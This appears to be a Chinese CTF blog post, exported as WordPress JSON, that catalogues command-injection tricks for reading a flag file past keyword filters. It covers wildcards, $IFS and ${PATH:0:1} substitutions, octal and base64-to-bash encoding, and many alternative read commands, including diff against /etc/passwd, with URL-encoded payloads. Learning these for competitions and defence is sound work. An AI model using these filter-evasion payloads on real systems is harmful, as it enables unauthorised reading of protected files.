{"id":1518,"date":"2023-04-14T19:30:06","date_gmt":"2023-04-14T11:30:06","guid":{"rendered":"https:\/\/fushuling.com\/?p=1518"},"modified":"2023-12-07T18:29:51","modified_gmt":"2023-12-07T10:29:51","slug":"ctf%e9%87%8c%e8%af%bb%e5%8f%96%e6%96%87%e4%bb%b6%e7%9b%b8%e5%85%b3%e7%9f%a5%e8%af%86%e7%82%b9%e6%80%bb%e7%bb%93","status":"publish","type":"post","link":"https:\/\/fushuling.com\/index.php\/2023\/04\/14\/ctf%e9%87%8c%e8%af%bb%e5%8f%96%e6%96%87%e4%bb%b6%e7%9b%b8%e5%85%b3%e7%9f%a5%e8%af%86%e7%82%b9%e6%80%bb%e7%bb%93\/","title":{"rendered":"CTF\u91cc\u8bfb\u53d6\u6587\u4ef6\u76f8\u5173\u77e5\u8bc6\u70b9\u603b\u7ed3(\u6301\u7eed\u66f4\u65b0\u4e2d)"},"content":{"rendered":"\n

\u867d\u7136\u7406\u8bba\u4e0a\u9996\u53d1\u4e8e\u5148\u77e5\u793e\u533a<\/a>\uff0c\u4f46\u56e0\u4e3a\u6587\u4ef6\u8bfb\u53d6\u7684\u6280\u5de7\u5b9e\u5728\u592a\u591a\u4e86\uff0c\u5f53\u65f6\u603b\u7ed3\u7684\u5176\u5b9e\u4e5f\u4e0d\u662f\u5f88\u5168\uff0c\u56e0\u6b64\u8fd9\u4e2a\u6587\u7ae0\u5176\u5b9e\u4e5f\u7b97\u6211\u7684\u4e00\u4e2a\u7b14\u8bb0\u4e86\uff0c\u6bd5\u7adf\u6211\u81ea\u5df1\u4e2a\u4eba\u80fd\u529b\u6709\u9650\uff0c\u603b\u6709\u4e9b\u5947\u5947\u602a\u602a\u7684\u6280\u5de7\u4e0d\u77e5\u9053\uff0c\u5982\u679c\u6211\u5b66\u5230\u4e86\u4ec0\u4e48\u65b0trick\u7684\u8bdd\u4e5f\u4f1a\u5b9e\u65f6\u66f4\u65b0\u8fc7\u6765<\/p>\n\n\n\n

\u524d\u8a00<\/h2>\n\n\n\n

\u4e4b\u524d\u4e00\u76f4\u60f3\u603b\u7ed3\u603b\u7ed3\uff0c\u8fd9\u6b21\u6b63\u597d\u5f00\u4e2a\u6587\u7ae0\u8c08\u8c08CTF\u91cc\u8bfb\u53d6\u6587\u4ef6\u7ed5\u8fc7\u7684\u5404\u79cd\u6280\u5de7\u3002\u9996\u5148\uff0c\u5728CTF\u91cc\u6211\u4eec\u6700\u60f3\u6267\u884c\u7684\u547d\u4ee4\u81ea\u7136\u5c31\u662fcat \/flag\uff0c\u6240\u4ee5\u8fd9\u5c31\u6765\u4e86\u4e00\u4e2a\u95ee\u9898\uff0c\u5982\u4f55\u8bfb\u53d6\u6587\u4ef6\u3002\u8bfb\u53d6\u6587\u4ef6\u7684\u547d\u4ee4\u5343\u5947\u767e\u602a\uff0c\u4f46\u6211\u4eec\u9996\u5148\u4e0d\u8bb2\u600e\u4e48\u8bfb\u6587\u4ef6\uff0c\u8bb2\u8bb2\u600e\u4e48\u5728\u5173\u952e\u8bcd\u88ab\u8fc7\u6ee4\u7684\u60c5\u51b5\u4e0b\u8bfb\u53d6flag\u3002<\/p>\n\n\n\n

\u6587\u4ef6\u540d\u88ab\u8fc7\u6ee4\u600e\u4e48\u7ed5\u8fc7<\/h2>\n\n\n\n

*\u901a\u914d\u6587\u4ef6<\/h3>\n\n\n\n

linux\u91cc\u53ef\u4ee5\u7528f*\u6307\u4ee3\u4efb\u4f55\u4ee5f\u5f00\u5934\u7684\u6587\u4ef6\uff0c\u5c31\u50cf\u6b63\u5219\u5339\u914d\uff0c\u6240\u4ee5\u6211\u4eec\u53ef\u4ee5\u7528cat \/f*\u83b7\u5f97flag<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

?\u5339\u914d\u6587\u4ef6\u540d<\/h3>\n\n\n\n

\u8fd9\u4e2a\u81ea\u7136\u662f\u6700\u5e38\u89c1\u7684\u4e86\uff0c\u6bd4\u5982\u6211\u4eec\u77e5\u9053flag\u7684\u540d\u5b57\u5c31\u662fflag\uff0c\u4f46\u662f\u53ef\u80fdflag\u8fd9\u4e2a\u5b57\u7b26\u4e32\u88ab\u8fc7\u6ee4\u4e86\uff0c\u6211\u4eec\u5c31\u53ef\u4ee5\u7528?\u5339\u914d\u88abban\u7684\u5b57\u7b26\uff0c\u7528cat \/f???\u83b7\u5f97flag<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u5f53\u7136\uff0c\u524d\u9762\u4e0d\u52a0\u8fd9\u4e2af\u53ef\u4ee5\u5417\uff0c\u4e5f\u662f\u53ef\u4ee5\u7684\uff0c\u5c31\u662f\u5bb9\u6613\u88ab\u5e72\u6270<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u6b63\u5219\u5339\u914d<\/h3>\n\n\n\n

linux\u91cc\u53ef\u4ee5\u7528[9-q]\u8fd9\u79cd\u5f62\u5f0f\u5339\u914dascii\u7801\u57289\u5230q\u4e4b\u95f4\u7684\u5b57\u7b26\uff0c\u81ea\u7136cat \/[9-q][9-q][9-q][9-q]\u5c31\u7b49\u6548\u4e8ecat \/flag\u4e86<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u5206\u5272\u6587\u4ef6\u540d<\/h3>\n\n\n\n

linux\u91cc\uff0cca”t\u3001ca\\t\u3001ca””t\u548ccat\u662f\u7b49\u6548\u7684\uff0c\u6240\u4ee5\u6211\u4eec\u53ef\u4ee5\u7528\u8fd9\u79cd\u65b9\u5f0f\u7ed5\u8fc7\u5173\u952e\u8bcd\u8fc7\u6ee4\uff1a<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u9664\u6b64\u4e4b\u5916\uff0c\u8fd8\u53ef\u4ee5\u4f7f\u7528$@<\/strong>\u7ed5\u8fc7\u5173\u952e\u8bcd\u8fc7\u6ee4<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u8fd8\u6709\u4e00\u79cd\u597d\u7528\u7684\u65b9\u6cd5\uff0c\u5c31\u662f\u7528\u4e2d\u95f4\u53d8\u91cf\u8fdb\u884c\u66ff\u6362\uff1a<\/p>\n\n\n\n

a=f&&b=lag&&c=ca&&d=t&&$IFS$9$c$d$IFS$9\/$a$b<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u539f\u53e5\u5176\u5b9e\u4e5f\u5c31\u662f<\/p>\n\n\n\n
a=f&&b=lag&&c=ca&&d=t&&$c$d \/$a$b<\/code><\/pre>\n\n\n\n
inode\u53f7<\/h3>\n\n\n\n
linux\u91cc\u53ef\u4ee5\u901a\u8fc7inode\u53f7\u7d22\u5f15\u67d0\u4e2a\u6587\u4ef6\uff0c\u4e3e\u4e2a\u4f8b\u5b50\uff1a<\/p>\n\n\n\n
\u8fd9\u91cc\u6211\u4eec\u5148\u901a\u8fc7ls -i \/\u83b7\u53d6\u5230\u6839\u76ee\u5f55\u4e0b\u6240\u6709\u6587\u4ef6\u7684inode\u53f7<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u5f97\u5230flag\u7684inode\u53f7\u4e3a787511\uff0c\u6211\u4eec\u5c31\u53ef\u4ee5\u901a\u8fc7find \/ -inum 787511\u83b7\u53d6\u8be5\u6587\u4ef6\u7684\u8def\u5f84<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u56e0\u6b64\uff0c\u6211\u4eec\u53ef\u4ee5\u8fd9\u6837\u83b7\u53d6flag\uff1a<\/p>\n\n\n\n
cat `find \/ -inum 787511`<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u8f6c\u8fdb\u5236<\/h3>\n\n\n\n
\u6211\u4eec\u53ef\u4ee5\u628aflag\u8f6c\u6210\u516b\u8fdb\u5236\uff0c\u53d8\u6210$’\\146\\154\\141\\147’\uff0c\u7136\u540e\u7528cat \/$’\\146\\154\\141\\147’\u5373\u53ef<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u6211\u4eec\u5728\u7f51\u9875\u4f20\u7684\u65f6\u5019\u5efa\u8bae\u7f16\u7801\u4e00\u4e0b\uff0c\u56e0\u4e3a$\u5728php\u4e2d\u6709\u7279\u6b8a\u542b\u4e49\uff0c\u53ef\u80fd\u4f1a\u4ea7\u751f\u5e72\u6270<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u5f53\u7136\uff0c\u5982\u679c$\u6ca1\u88abban\u7684\u8bdd\u4e5f\u6ca1\u9650\u5236\u547d\u4ee4\u957f\u5ea6\u7684\u8bdd\uff0c\u76f4\u63a5\u65e0\u5b57\u6bcd\u6570\u5b57\u6784\u9020\u547d\u4ee4\u90fd\u884c\uff0c\u5177\u4f53\u53ef\u4ee5\u770b\u770b\u6211\u4e4b\u524d\u5199\u7684\u5229\u7528shell\u811a\u672c\u53d8\u91cf\u6784\u9020\u65e0\u5b57\u6bcd\u6570\u5b57\u547d\u4ee4<\/a>\u4ee5\u53caCTFshow-\u5468\u672b\u5927\u6311\u6218\u5b98\u65b9wp<\/a><\/p>\n\n\n\n
\u5229\u7528\u7ba1\u9053\u7b26<\/h3>\n\n\n\n
echo \"Y2F0IC9mKg==\" | base64 -d|bash<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u5982\u679c\u5bf9\u5e94\u73af\u5883\u6709\u5176\u4ed6\u7f16\u7801\u4e5f\u53ef\u4ee5\u6362\u5176\u4ed6\u51b7\u95e8\u70b9\u7684\u7f16\u7801<\/p>\n\n\n\n
\/\u88ab\u8fc7\u6ee4\u600e\u4e48\u7ed5\u8fc7<\/h2>\n\n\n\n
linux\u91ccecho ${PATH}\u53ef\u4ee5\u83b7\u5f97\u5f53\u524d\u8def\u5f84\uff1a<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u6240\u4ee5\u5f88\u663e\u7136\uff0c\u6211\u53ea\u8981\u53d6\u7b2c\u4e00\u4e2a\u5b57\u7b26\u90a3\u5c31\u662f\/\u4e86\uff1a<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u968f\u7740\u8fd9\u4e2a\u903b\u8f91\u53ef\u4ee5\u4ee3\u66ff${PATH:0:1}\u7684\u4f7f\u7528\u65b9\u6cd5\u4e5f\u633a\u591a\u7684\uff0c\u6bd4\u5982${PATH:4:1}\u4e5f\u4ee3\u8868\/\uff0c\u5f53\u6211\u4eec\u67e5\u770blinux\u7684\u73af\u5883\u53d8\u91cf\uff0c\u5176\u5b9e\u53ef\u4ee5\u53d1\u73b0\u5f88\u591a\u66ff\u4ee3\u65b9\u6cd5\uff1a<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u6bd4\u5982${PWD:0:1}\u3001${HOME:0:1}\u3001${SHELL:0:1}\u7b49\u7b49<\/p>\n\n\n\n
\u7a7a\u683c\u88ab\u8fc7\u6ee4\u600e\u4e48\u7ed5\u8fc7<\/h2>\n\n\n\n
<\n$IFS\n${IFS}\n$IFS$9\n{cat,\/flag}<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u8fd9\u91cc\u53ea\u8bb2\u4e86\u4e00\u4e9b\u6700\u5e38\u89c1\u7684bypass\u6280\u5de7\uff0c\u4e0d\u662f\u5f88\u6df1\u5165\uff0c\u672c\u6587\u4e3b\u8981\u662f\u8bb2\u4e00\u4e9b\u8bfb\u53d6\u6587\u4ef6\u7684\u65b9\u6cd5\u7684\u3002<\/p>\n\n\n\n
\u5404\u79cd\u8bfb\u53d6\u6587\u4ef6\u7684\u65b9\u6cd5<\/h2>\n\n\n\n
cat<\/h3>\n\n\n\n
\u9996\u5148\u662f\u6700\u5e38\u89c1\u7684\uff0c\u90a3\u5c31\u662fcat\u4e86\uff0c\u7528\u4e8e\u8fde\u63a5\u6587\u4ef6\u5e76\u6253\u5370\u5230\u6807\u51c6\u8f93\u51fa\u8bbe\u5907\u4e0a\uff0c\u7528\u6cd5\u4e3a\uff1a<\/p>\n\n\n\n
cat \/f*<\/code><\/pre>\n\n\n\n
\u4e0d\u9700\u8981\u5b8c\u6574\u6587\u4ef6\u540d<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
tac<\/h3>\n\n\n\n
\u7528\u4e8e\u5c06\u6587\u4ef6\u4ee5\u884c\u4e3a\u5355\u4f4d\u7684\u53cd\u5e8f\u8f93\u51fa\uff0c\u7528\u6cd5\u4e3a\uff1a<\/p>\n\n\n\n
tac \/f*<\/code><\/pre>\n\n\n\n
\u4e0d\u9700\u8981\u5b8c\u6574\u6587\u4ef6\u540d<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
more\/bzmore<\/h3>\n\n\n\n
\u7c7b\u4f3ccat\u547d\u4ee4\uff0c\u4f1a\u4ee5\u4e00\u9875\u4e00\u9875\u7684\u663e\u793a\uff0c\u65b9\u4fbf\u4f7f\u7528\u8005\u9010\u9875\u9605\u8bfb\uff0c\u7528\u6cd5\u4e3a\uff1a<\/p>\n\n\n\n
more \/f* \nbzmore \/f*<\/code><\/pre>\n\n\n\n
\u4e0d\u9700\u8981\u5b8c\u6574\u6587\u4ef6\u540d<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
less\/bzless<\/h3>\n\n\n\n
\u4f5c\u7528\u4e0emore\u7c7b\u4f3c,\u90fd\u7528\u6765\u6d4f\u89c8\u6587\u672c\u6587\u4ef6\u4e2d\u7684\u5185\u5bb9,\u4e0d\u540c\u4e4b\u5904\u5728\u4e8e,\u4f7f\u7528 more \u547d\u4ee4\u6d4f\u89c8\u6587\u4ef6\u5185\u5bb9\u65f6,\u53ea\u80fd\u4e0d\u65ad\u5411\u540e\u7ffb\u770b,\u800c\u4f7f\u7528 less \u547d\u4ee4\u6d4f\u89c8,\u65e2\u53ef\u4ee5\u5411\u540e\u7ffb\u770b,\u4e5f\u53ef\u4ee5\u5411\u524d\u770b\u3002\u7528\u6cd5\u4e3a\uff1a<\/p>\n\n\n\n
less \/f*\nbzless \/f*<\/code><\/pre>\n\n\n\n
\u4e0d\u9700\u8981\u5b8c\u6574\u6587\u4ef6\u540d<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
head<\/h3>\n\n\n\n
head \u547d\u4ee4\u53ef\u7528\u4e8e\u67e5\u770b\u6587\u4ef6\u7684\u5f00\u5934\u90e8\u5206\u7684\u5185\u5bb9\uff0c\u6709\u4e00\u4e2a\u5e38\u7528\u7684\u53c2\u6570 -n \u7528\u4e8e\u663e\u793a\u884c\u6570\uff0c\u9ed8\u8ba4\u4e3a 10\uff0c\u5373\u663e\u793a 10 \u884c\u7684\u5185\u5bb9\u3002\u7528\u6cd5\u4e3a\uff1a<\/p>\n\n\n\n
head \/f*<\/code><\/pre>\n\n\n\n
\u4e0d\u9700\u8981\u5b8c\u6574\u6587\u4ef6\u540d<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
tail<\/h3>\n\n\n\n
\u4f5c\u7528\u548chead\u76f8\u4f3c\uff0c\u4f46\u5b83\u9ed8\u8ba4\u663e\u793a\u6700\u540e 10 \u884c\u3002\u7528\u6cd5\u4e3a\uff1a<\/p>\n\n\n\n
tail \/f*<\/code><\/pre>\n\n\n\n
\u4e0d\u9700\u8981\u5b8c\u6574\u6587\u4ef6\u540d<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
nl<\/h3>\n\n\n\n
\u53ef\u4ee5\u4e3a\u8f93\u51fa\u5217\u52a0\u4e0a\u7f16\u53f7\u3002\u7528\u6cd5\u4e3a\uff1a<\/p>\n\n\n\n
nl \/f*<\/code><\/pre>\n\n\n\n
\u4e0d\u9700\u8981\u5b8c\u6574\u6587\u4ef6\u540d<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
sed<\/h3>\n\n\n\n
Sed \u4ee3\u8868\u6d41\u7f16\u8f91\u5668Stream Editor\uff0c\u5e38\u7528\u4e8e Linux \u4e2d\u57fa\u672c\u7684\u6587\u672c\u5904\u7406.\u7528\u6cd5\u4e3a\uff1a<\/p>\n\n\n\n
sed p \/f*<\/code><\/pre>\n\n\n\n
\u4e0d\u9700\u8981\u5b8c\u6574\u6587\u4ef6\u540d<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
sort<\/h3>\n\n\n\n
\u7528\u4e8e\u5c06\u6587\u672c\u6587\u4ef6\u5185\u5bb9\u52a0\u4ee5\u6392\u5e8f\u3002\u7528\u6cd5\u4e3a\uff1a<\/p>\n\n\n\n
sort p \/f*<\/code><\/pre>\n\n\n\n
\u4e0d\u9700\u8981\u5b8c\u6574\u6587\u4ef6\u540d<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
uniq<\/h3>\n\n\n\n
\u5220\u9664\u6587\u4ef6\u4e2d\u7684\u8fde\u7eed\u91cd\u590d\u884c \u5982\u679c\u4f60\u5728\u4e0d\u4f7f\u7528\u4efb\u4f55\u53c2\u6570\u7684\u60c5\u51b5\u4e0b\u4f7f\u7528 uniq \u547d\u4ee4,\u5b83\u5c06\u5220\u9664\u6240\u6709\u8fde\u7eed\u7684\u91cd\u590d\u884c,\u53ea\u663e\u793a\u552f\u4e00\u7684\u884c\u3002\u7528\u6cd5\u4e3a\uff1a<\/p>\n\n\n\n
uniq \/f*<\/code><\/pre>\n\n\n\n
\u4e0d\u9700\u8981\u5b8c\u6574\u6587\u4ef6\u540d<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
rev<\/h3>\n\n\n\n
\u53cd\u8f6c\u4e00\u4e2a\u6216\u591a\u4e2a\u6587\u4ef6\u7684\u884c\u3002\u7528\u6cd5\u4e3a\uff1a<\/p>\n\n\n\n
rev \/f*<\/code><\/pre>\n\n\n\n
\u4e0d\u9700\u8981\u5b8c\u6574\u6587\u4ef6\u540d\uff0c\u83b7\u5f97\u7684\u662f\u9006\u5e8f\u7684flag<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u5f53\u7136\uff0c\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528rev \/f* | rev\u83b7\u5f97\u6b63\u5e8f\u7684flag:<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
od<\/h3>\n\n\n\n
od(Octal Dump)\u547d\u4ee4\u7528\u4e8e\u5c06\u6307\u5b9a\u6587\u4ef6\u5185\u5bb9\u4ee5\u516b\u8fdb\u5236\u3001\u5341\u8fdb\u5236\u3001\u5341\u516d\u8fdb\u5236\u3001\u6d6e\u70b9\u683c\u5f0f\u6216 ASCII \u7f16\u7801\u5b57\u7b26\u65b9\u5f0f\u663e\u793a,\u7cfb\u7edf\u9ed8\u8ba4\u7684\u663e\u793a\u65b9\u5f0f\u662f\u516b\u8fdb\u5236\u3002\u7528\u6cd5\u4e3a\uff1a<\/p>\n\n\n\n
od -c \/f*<\/code><\/pre>\n\n\n\n
\u4e0d\u9700\u8981\u5b8c\u6574\u6587\u4ef6\u540d<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u4f60\u53ef\u80fd\u4f1a\u5947\u602a\u4e2d\u95f4\u90a3\u4e2a0000020\u662f\u5565\uff0c\u6211\u4eec\u53ef\u4ee5\u770b\u5230\u8fd9\u4e2a\u547d\u4ee4\u5728linux\u91cc\u7684\u8fd0\u884c\u7ed3\u679c\uff1a<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u5de6\u8fb9\u4e00\u5217\u5176\u5b9e\u662f\u5b83\u7684\u5730\u5740\uff0c\u8bb0\u5f97\u628a\u5730\u57400000020\u5220\u4e86\u5c31\u662f\u6587\u4ef6\u5185\u5bb9\u4e86\uff0c\u5f53\u7136\u76f4\u63a5f12\u4e5f\u53ef\u4ee5\u770b\u5230linux\u91cc\u90a3\u6837\u7684\u8fd0\u884c\u7ed3\u679c\uff1a<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
vim\/vi<\/h3>\n\n\n\n
\u8fd9\u4fe9\u90fd\u662fLinux\u91cc\u7684\u6587\u4ef6\u7f16\u8f91\u5668\uff0c\u6211\u4eec\u5728\u7f51\u9875\u76f4\u63a5\u7528system(“vim \/f*”);\u867d\u7136\u4e0d\u4f1a\u8fdb\u5165\u7f16\u8f91\u6a21\u5f0f\u4f46\u8fd8\u662f\u53ef\u4ee5\u770b\u5230\u91cc\u9762\u7684\u5185\u5bb9\u3002\u7528\u6cd5\u4e3a:<\/p>\n\n\n\n
vim \/f* \nvi \/f*<\/code><\/pre>\n\n\n\n
\u4e0d\u9700\u8981\u5b8c\u6574\u6587\u4ef6\u540d<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
man<\/h3>\n\n\n\n
man \u547d\u4ee4\u662f Linux \u4e0b\u7684\u5e2e\u52a9\u6307\u4ee4\uff0c\u901a\u8fc7 man \u6307\u4ee4\u53ef\u4ee5\u67e5\u770b Linux \u4e2d\u7684\u6307\u4ee4\u5e2e\u52a9\u3001\u914d\u7f6e\u6587\u4ef6\u5e2e\u52a9\u548c\u7f16\u7a0b\u5e2e\u52a9\u7b49\u4fe1\u606f\uff0c\u7c7b\u4f3c\u4e8evim\/vi\uff0c\u76f4\u63a5\u5bf9\u6587\u672c\u8fd0\u884c\u53ef\u4ee5\u770b\u5230\u6587\u672c\u5185\u5bb9\u3002\u7528\u6cd5\u4e3a\uff1a<\/p>\n\n\n\n
man \/f*<\/code><\/pre>\n\n\n\n
\u4e0d\u9700\u8981\u5b8c\u6574\u6587\u4ef6\u540d<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
paste<\/h3>\n\n\n\n
\u4f7f\u7528paste\u547d\u4ee4\u53ef\u4ee5\u5c06\u6bcf\u4e2a\u6307\u5b9a\u6587\u4ef6<\/em>\u91cc\u7684\u6bcf\u4e00\u884c\u6574\u5408\u5230\u5bf9\u5e94\u4e00\u884c\u91cc\u5199\u5230\u6807\u51c6\u8f93\u51fa,\u4e4b\u95f4\u7528\u5236\u8868\u7b26\u5206\u9694\u3002\u7528\u6cd5\u4e3a\uff1a<\/p>\n\n\n\n
paste \/f*<\/code><\/pre>\n\n\n\n
\u4e0d\u9700\u8981\u5b8c\u6574\u6587\u4ef6\u540d<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
grep<\/h3>\n\n\n\n
\u67e5\u627e\u6587\u4ef6\u91cc\u7b26\u5408\u6761\u4ef6\u7684\u5b57\u7b26\u4e32\u3002\u7528\u6cd5\u4e3a\uff1a<\/p>\n\n\n\n
grep { \/f*<\/code><\/pre>\n\n\n\n
\u4e0d\u9700\u8981\u5b8c\u6574\u6587\u4ef6\u540d<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
file<\/h3>\n\n\n\n
\u67e5\u770b\u6587\u4ef6\u4fe1\u606f\u6216\u7c7b\u578b\u3002\u7528\u6cd5\u4e3a\uff1a<\/p>\n\n\n\n
file -f \/f*<\/code><\/pre>\n\n\n\n
\u4e0d\u9700\u8981\u5b8c\u6574\u6587\u4ef6\u540d<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
dd<\/h3>\n\n\n\n
\u7528\u4e8e\u8bfb\u53d6\u3001\u8f6c\u6362\u5e76\u8f93\u51fa\u6570\u636e\u3002\u7528\u6cd5\u4e3a\uff1a<\/p>\n\n\n\n
dd if=\/flag<\/code><\/pre>\n\n\n\n
\u9700\u8981\u5b8c\u6574\u6587\u4ef6\u540d<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
date<\/h3>\n\n\n\n
\u4f7f\u7528\u6307\u5b9a\u683c\u5f0f\u663e\u793a\u65f6\u95f4\uff0c\u6216\u8005\u8bbe\u7f6e\u7cfb\u7edf\u65f6\u95f4\uff0c\u6709\u65f6\u7528\u4e8esuid\u63d0\u6743\u3002\u7528\u6cd5\u4e3a\uff1a<\/p>\n\n\n\n
date -f \/f*<\/code><\/pre>\n\n\n\n
\u4e0d\u9700\u8981\u5b8c\u6574\u6587\u4ef6\u540d<\/p>\n\n\n\n
\u4f46\u4ed6\u672c\u8d28\u4e0a\u662f\u4e00\u79cd\u62a5\u9519\u8bfb\u53d6\uff0c\u76f4\u63a5system\u4f20\u503c\u662f\u6ca1\u56de\u663e\u7684\uff0c\u6211\u4eec\u8981\u8bfb\u53d6\u62a5\u9519\u624d\u884c\uff1a<\/p>\n\n\n\n
a=$(date -f \/f* 2>&1);echo $a;<\/code><\/pre>\n\n\n\n
\u7136\u540e\u518d\u7f16\u4e00\u4e0b\u7801\uff1a<\/p>\n\n\n\n
a%3D%24(date%20-f%20%2Ff*%202%3E%261)%3Becho%20%24a%3B<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u62a5\u9519\u8bfb\u53d6<\/h3>\n\n\n\n
linux\u91cc\u53ef\u4ee5\u7528\u70b9\u53f7\u6267\u884cshell\u811a\u672c\uff0c\u540c\u6837\uff0c\u6211\u4eec\u4e5f\u53ef\u4ee5\u7528\u8fd9\u79cd\u65b9\u6cd5\u62a5\u9519\u8bfb\u53d6\u6587\u4ef6\u5185\u5bb9\uff0c\u524d\u63d0\u662f\u4f60\u7684\u7528\u6237\u7ec4\u6709\u8bfb\u53d6\u6587\u4ef6\u7684\u6743\u9650<\/strong>\uff1a<\/p>\n\n\n\n
a=$(. \/f* 2>&1);echo $a;   #a%3D%24(.%20%2Ff*%202%3E%261)%3Becho%20%24a%3B\necho $(. \/f* 2>&1);  #echo%20%24(.%20%2Ff*%202%3E%261)%3B<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u5982\u679c\u4f60\u7684\u7528\u6237\u7ec4\u6709\u6267\u884c\u6587\u4ef6\u7684\u6743\u9650<\/strong>\uff0c\u4f60\u53ef\u4ee5\u76f4\u63a5\/f*\u83b7\u5f97\u6587\u4ef6\u5185\u5bb9\uff1a<\/p>\n\n\n\n
a=$(\/f* 2>&1);echo $a;  #a%3D%24(%2Ff*%202%3E%261)%3Becho%20%24a%3B<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
diff<\/h3>\n\n\n\n
\u7528\u4e8e\u6bd4\u8f83\u6587\u4ef6\u7684\u5185\u5bb9\uff0c\u6211\u4eec\u53ef\u4ee5\u628a\u60f3\u8bfb\u53d6\u7684\u6587\u4ef6\u5185\u5bb9\u548c\u4e00\u4e2a\u5df2\u77e5\u7684\u6587\u4ef6\u8fdb\u884c\u6bd4\u8f83\uff0c\u83b7\u5f97\u5dee\u96c6\u4e5f\u5c31\u662f\u6211\u4eec\u60f3\u8981\u7684\u5185\u5bb9\u4e86\uff0c\u5982\uff1a<\/p>\n\n\n\n
diff \/f* \/etc\/passwd<\/code><\/pre>\n\n\n\n
\u4e0d\u9700\u8981\u5b8c\u6574\u6587\u4ef6\u540d<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
xxd<\/h3>\n\n\n\n
\u5b83\u80fd\u5c06\u4e00\u4e2a\u7ed9\u5b9a\u6587\u4ef6\u6216\u6807\u51c6\u8f93\u5165\u8f6c\u6362\u4e3a\u5341\u516d\u8fdb\u5236\u5f62\u5f0f,\u4e5f\u80fd\u5c06\u5341\u516d\u8fdb\u5236\u8f6c\u6362\u56de\u4e8c\u8fdb\u5236\u5f62\u5f0f\uff0c\u8f93\u51fa\u5f62\u5f0f\u6709\u70b9\u50cfod -c\u5982\uff1a<\/p>\n\n\n\n
xxd \/f*<\/code><\/pre>\n\n\n\n
\u4e0d\u9700\u8981\u5b8c\u6574\u6587\u4ef6\u540d<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
cp<\/h3>\n\n\n\n
\u6700\u8fd1\u6bd4\u8d5b\u9047\u5230\u4e00\u79cd\u60c5\u51b5\uff0c\u5c31\u662f\u76f4\u63a5<\/p>\n\n\n\n
cp \/flag .<\/code><\/pre>\n\n\n\n
\u628aflag\u590d\u5236\u5230\u5f53\u524d\u76ee\u5f55\uff0c\u7136\u540e\u76f4\u63a5\u8bbf\u95ee\/flag\u4e5f\u80fd\u62ffflag\uff0c\u6216\u8005<\/p>\n\n\n\n
cp \/f* \/dev\/stdout <\/code><\/pre>\n\n\n\n
\u8f93\u51fa\u5230\u6807\u51c6\u8f93\u51fa\u4e2d<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
curl<\/h3>\n\n\n\n
\u7528file\u534f\u8bae\u8bfb\u6587\u4ef6\uff1a<\/p>\n\n\n\n
curl file:\/\/\/flag<\/code><\/pre>\n\n\n\n
\u6709\u70b9\u8822 file\u4e0d\u662f\u672c\u6765\u5c31\u53ef\u4ee5\u62ff\u6765\u8bfb\u6587\u4ef6<\/p>\n","protected":false},"excerpt":{"rendered":"
